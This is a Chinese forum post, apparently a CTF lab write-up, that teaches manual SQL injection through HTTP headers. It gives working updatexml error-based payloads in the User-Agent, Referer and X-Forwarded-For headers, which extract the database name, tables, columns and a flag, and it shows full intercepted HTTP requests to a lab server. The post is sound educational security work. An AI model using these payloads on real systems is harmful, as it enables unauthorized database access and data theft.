论坛首页 > CTF&WP专版

HEAD注入之手工注入

weidong · 发表于 2020-01-27 12:33:01 · CTF&WP专版

原谅我不会插入图片，写得不好勿喷
HEAD手工注入要安装 浏览器扩展工具ModHeader 
添加User-Agent 在User-Agent的值加入' or sleep(5),1) 登录后看会不会报错，报错就代表语句执行成功了，就存在SQL注入。如果做头注入用and的话后面的语句就不会执行，建议用or

用到一个函数 updatexml
updatexml(目标xml内容，xml文档路径，更新的内容)

查数据库 得到库名 head_error
' or updatexml(1,concat(0x7e,(select database())),1),1)#
 
查表名 得到表名 flag_head
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1)#
 
查字段 得到flag_h1
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="flag_head" limit 1,1)),1),1)#

拿到想要的数据
' or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 1,1)),1),1)#
 
第八题 用BURP抓包后改Referer: http://59.63.200.79:8815/Pass-08/index.php
的包为Referer: ' or updatexml(1,concat(0x7e,(select database())),1),1)#就可以了。只不过是头注入位置不一样

POST /Pass-08/index.php HTTP/1.1
Host: 59.63.200.79:8815
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://59.63.200.79:8815/Pass-08/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Origin: http://59.63.200.79:8815
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

username=admin&password=123456&submit=%E7%99%BB%E5%BD%95
 
改包后直接放过去，中间就不演示了直接结果
POST /Pass-08/index.php HTTP/1.1
Host: 59.63.200.79:8815
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: ' or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 1,1)),1),1)#
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Origin: http://59.63.200.79:8815
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

username=admin&password=123456&submit=%E7%99%BB%E5%BD%95

第九题查看源码知道IP的获取方式用到X_FORWARDED_FOR
我们可以通过浏览器扩展工具ModHeader添加X_FORWARDED_FOR 和User-Agent一样做法
function getip()
{
 if (getenv('HTTP_CLIENT_IP'))
 {
 $ip = getenv('HTTP_CLIENT_IP'); 
 }
 elseif (getenv('HTTP_X_FORWARDED_FOR')) 
 { 
 $ip = getenv('HTTP_X_FORWARDED_FOR');
 }
 elseif (getenv('HTTP_X_FORWARDED')) 
 { 
 $ip = getenv('HTTP_X_FORWARDED');
 }
 elseif (getenv('HTTP_FORWARDED_FOR'))
 {
 $ip = getenv('HTTP_FORWARDED_FOR'); 
 }
 elseif (getenv('HTTP_FORWARDED'))
 {
 $ip = getenv('HTTP_FORWARDED');
 }
 else
 { 
 $ip = $_SERVER['REMOTE_ADDR'];
 }
 return $ip

打赏我,让我更有动力~

2 条回复 | 直到 2020-3-30 | 1772 次浏览

sechacker
发表于 2020-3-22

太棒了非常好的东东

评论列表

加载数据中...

编写评论内容

荒天帝
发表于 2020-3-30

很棒

评论列表

加载数据中...

编写评论内容

登录后才可发表内容

HEAD注入之手工注入

评论列表 默认排序 默认排序 最新回复

评论列表 默认排序 默认排序 最新回复

评论列表

评论列表